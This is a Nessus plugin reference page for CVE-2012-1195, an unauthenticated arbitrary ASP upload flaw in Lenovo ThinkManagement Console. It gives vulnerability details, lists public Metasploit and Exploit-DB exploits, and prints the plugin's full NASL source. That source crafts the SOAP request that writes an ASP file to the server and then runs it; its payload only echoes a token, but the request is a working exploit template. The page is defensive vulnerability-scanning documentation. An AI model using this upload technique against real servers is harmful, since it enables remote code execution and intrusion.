Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload - Nessus

Critical   Plugin ID: 58654

This page contains detailed information about the Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 58654
Name: Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload
Filename: lenovo_thinkmanagement_console_remote_code.nasl
Vulnerability Published: 2012-02-15
This Plugin Published: 2012-04-10
Last Modification Time: 2021-01-19
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: lenovo_thinkmanagement_console_detect.nasl
Required KB Items [?]: www/thinkmanagement_console
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: Critical
Vulnerability Published: 2012-02-15
Patch Published: 2012-02-06
CVE [?]: CVE-2012-1195
CPE [?]: cpe:/a:landesk:lenovo_thinkmanagement_console

Synopsis

The remote web server hosts an application that allows arbitrary code execution.

Description

The version of Lenovo ThinkManagement Console hosted on the remote web server contains a flaw in the 'ServerSetup.asmx' script that allows a remote, unauthenticated attacker to upload and run arbitrary ASP scripts with the privileges of the web user.

In addition, this version of Lenovo ThinkManagement Console may be affected by a file deletion vulnerability. However, Nessus has not tested for this.

Solution

Contact the vendor for patches.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, ExploitHub, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload vulnerability:

  1. Metasploit: exploit/windows/http/landesk_thinkmanagement_upload_asp
    [LANDesk Lenovo ThinkManagement Console Remote Command Execution]
  2. Exploit-DB: exploits/windows/remote/18622.txt
    [EDB-18622: LANDesk Lenovo ThinkManagement Suite 9.0.3 - Core Server Remote Code Execution]
  3. Exploit-DB: exploits/windows/remote/18623.txt
    [EDB-18623: LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server - Arbitrary File Deletion]
  4. Exploit-DB: exploits/windows/remote/18714.rb
    [EDB-18714: LANDesk Lenovo ThinkManagement Console - Remote Command Execution (Metasploit)]
  5. D2 Elliot: lenovo_thinkmanagement_console_9.0.3_file_upload.html
    [Lenovo ThinkManagement Console 9.0.3 File Upload]
  6. ExploitHub: EH-12-326
  7. Immunity Canvas: White_Phosphorus

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:9.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.5 (High)

Go back to menu.

Plugin Source


This is the lenovo_thinkmanagement_console_remote_code.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(58654);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-1195");
  script_bugtraq_id(52023);
  script_xref(name:"EDB-ID", value:"18622");
  script_xref(name:"EDB-ID", value:"18623");
  script_xref(name:"Secunia", value:"47666");

  script_name(english:"Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload");
  script_summary(english:"Attempts to upload and execute an ASP script.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts an application that allows arbitrary code
execution.");
  script_set_attribute(attribute:"description", value:
"The version of Lenovo ThinkManagement Console hosted on the remote
web server contains a flaw in the 'ServerSetup.asmx' script that
allows a remote, unauthenticated attacker to upload and run arbitrary
ASP scripts with the privileges of the web user.

In addition, this version of Lenovo ThinkManagement Console may be
affected by a file deletion vulnerability.  However, Nessus has not
tested for this.");

  script_set_attribute(attribute:"solution", value:"Contact the vendor for patches.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploithub_sku", value:"EH-12-326");
  script_set_attribute(attribute:"exploit_framework_exploithub", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Lenovo ThinkManagement Console 9.0.3 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'LANDesk Lenovo ThinkManagement Console Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'White_Phosphorus');

  # nb: credentials are required to access this link.
  script_set_attribute(attribute:"see_also", value:"https://community.ivanti.com/login.jspa?referer=https://community.ivanti.com/docs/DOC-24787");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/02/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/02/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/04/10");

  script_set_attribute(attribute:"cpe", value:"cpe:/a:landesk:lenovo_thinkmanagement_console");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 Tenable Network Security, Inc.");

  script_dependencies("lenovo_thinkmanagement_console_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/thinkmanagement_console");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("webapp_func.inc");

global_var port;

function call(cmd, url, xml)
{
  local_var hdrs, soap;

  # Add the SOAP wrapper to the XML.
  soap =
    '<?xml version="1.0" encoding="utf-8"?>
     <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
                    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
       <soap:Body>' + xml + '</soap:Body>
     </soap:Envelope>';

  # Upload our ASP file.
  hdrs = make_array(
    "Content-Type", "text/xml; charset=utf-8",
    "SOAPAction", '"http://tempuri.org/' + cmd + '"'
  );

  return http_send_recv3(
    port         : port,
    method       : "POST",
    item         : url,
    data         : soap,
    add_headers  : hdrs,
    exit_on_fail : TRUE
  );
}

# Get details of ThinkManagement Console.
port = get_http_port(default:80);
install = get_install_from_kb(appname:"thinkmanagement_console", port:port, exit_on_fail:TRUE);
dir = install["dir"];

# Generate a filename for the ASP page that we're uploading.
filename = "nessus-" + (SCRIPT_NAME - ".nasl") + "-" + unixtime() + ".asp";

# Generate a random token which we expect the payload to print.
token = rand();

# During testing it was found that the responses can take more than
# two times the default timeout, so make Nessus be patient.
http_set_read_timeout(get_read_timeout() * 5);

# The original PoC used WshShell, but neither that nor filesystem
# operations were available by default on the test system.
#
# We just want it to print a random number back.
payload =
  '&lt;%\r\n' +
  '\r\n' +
  '\'This file is generated by the Nessus plugin ' + SCRIPT_NAME + '.\r\n' +
  '\'It can be safely deleted once the Nessus scan is completed.\r\n' +
  '\r\n' +
  'Response.Write("' + token + '")\r\n' +
  '\r\n' +
  '%&gt;\r\n';

xml =
  '<RunAMTCommand xmlns="http://tempuri.org/">
     <Command>-PutUpdateFileCore</Command>
     <Data1></Data1>
     <Data2>ldlogon/vulscanresults/' + filename + '</Data2>
     <Data3>' + payload + '</Data3>
     <ReturnString></ReturnString>
   </RunAMTCommand>';

url = dir + "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx";
res = call(cmd:"RunAMTCommand", url:url, xml:xml);

if ('<RunAMTCommandResult>1084</RunAMTCommandResult>' >!< res[2])
  exit(0, "Failed to upload ASP script using the ThinkManagement Console at " + build_url(port:port, qs:url) + ", indicating that the install is not affected.");

# Save the request to display in the report.
req = http_last_sent_request();

# Execute our ASP file.
url = dir + "/ldlogon/vulscanresults/" + filename;
res = http_send_recv3(
  port         : port,
  method       : "GET",
  item         : url,
  exit_on_fail : TRUE
);

# Check if the execution worked.
if (res[2] != token)
  exit(0, "Failed to execute ASP script at " + build_url(port:port, qs:url) + ", indicating that the install is not affected.");

# Report our findings.
report = NULL;
if (report_verbosity > 0)
{
  report =
    '\nNessus was able to upload and execute an ASP script on the remote host. The' +
    '\nfollowing HTTP request was used to perform the upload :'+
    '\n' +
    '\n  ' + join(split(req, sep:'\r\n', keep:FALSE), sep:'\n  ') +
    '\n' +
    '\nNessus cannot remove the ASP script that it uploaded. It is recommended that' +
    '\nyou delete it yourself. The file can be found at :' +
    '\n' +
    '\n  LANDesk\\ManagementSuite\\ldlogon\\vulscanresults\\' + filename +
    '\n';
}
security_hole(port:port, extra:report);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/lenovo_thinkmanagement_console_remote_code.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\lenovo_thinkmanagement_console_remote_code.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/lenovo_thinkmanagement_console_remote_code.nasl

Go back to menu.

How to Run


Here is how to run the Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload plugin ID 58654.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl lenovo_thinkmanagement_console_remote_code.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a lenovo_thinkmanagement_console_remote_code.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - lenovo_thinkmanagement_console_remote_code.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state lenovo_thinkmanagement_console_remote_code.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: Secunia Advisory: See also: Similar and related Nessus plugins:
  • 83736 - Lenovo System Update < 5.06.0034 Multiple Vulnerabilities
  • 130263 - Adobe ColdFusion File Upload (APSB18-33) (CVE-2018-15961)
  • 39790 - Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
  • 16061 - e107 Image Manager Unauthorized File Upload
  • 39806 - FCKeditor 'CurrentFolder' Arbitrary File Upload
  • 21780 - FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
  • 69273 - Joomla! 2.5.x < 2.5.14 / 3.x < 3.1.5 .php. File Upload RCE
  • 64470 - Collector Component for Joomla! File Upload RCE
  • 79420 - Creative Contact Form Component for Joomla! File Upload RCE
  • 25736 - Expose for Joomla! File Upload RCE
  • 118310 - jQuery-File-Upload Arbitrary File Upload Vulnerability (Remote Check)
  • 22367 - Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82079 - ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 71218 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload
  • 143600 - ManageEngine ServiceDesk Plus < 10.0 Build 10012 Arbitrary File Upload
  • 63638 - MoinMoin twikidraw.py Traversal File Upload Arbitrary File Overwrite
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 47582 - Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 35261 - OneOrZero Helpdesk tinfo.php Arbitrary File Upload
  • 49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
  • 51119 - Sitefinity CMS Arbitrary File Upload
  • 22303 - TikiWiki jhot.php Arbitrary File Upload
  • 56735 - TimThumb Cache Directory 'src' Parameter Arbitrary PHP File Upload
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 80083 - Visual Mining NetCharts Server Arbitrary File Upload
  • 105732 - Western Digital MyCloud Unauthenticated File Upload
  • 79421 - Creative Contact Form Plugin for WordPress File Upload RCE
  • 76526 - MailPoet Newsletters for WordPress Arbitrary File Upload
  • 105372 - WP Symposium Plugin Arbitrary File Upload
  • 160208 - WSO2 Multiple Products File Upload Remote Command Execution (CVE-2022-29464)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file lenovo_thinkmanagement_console_remote_code.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

Go back to menu.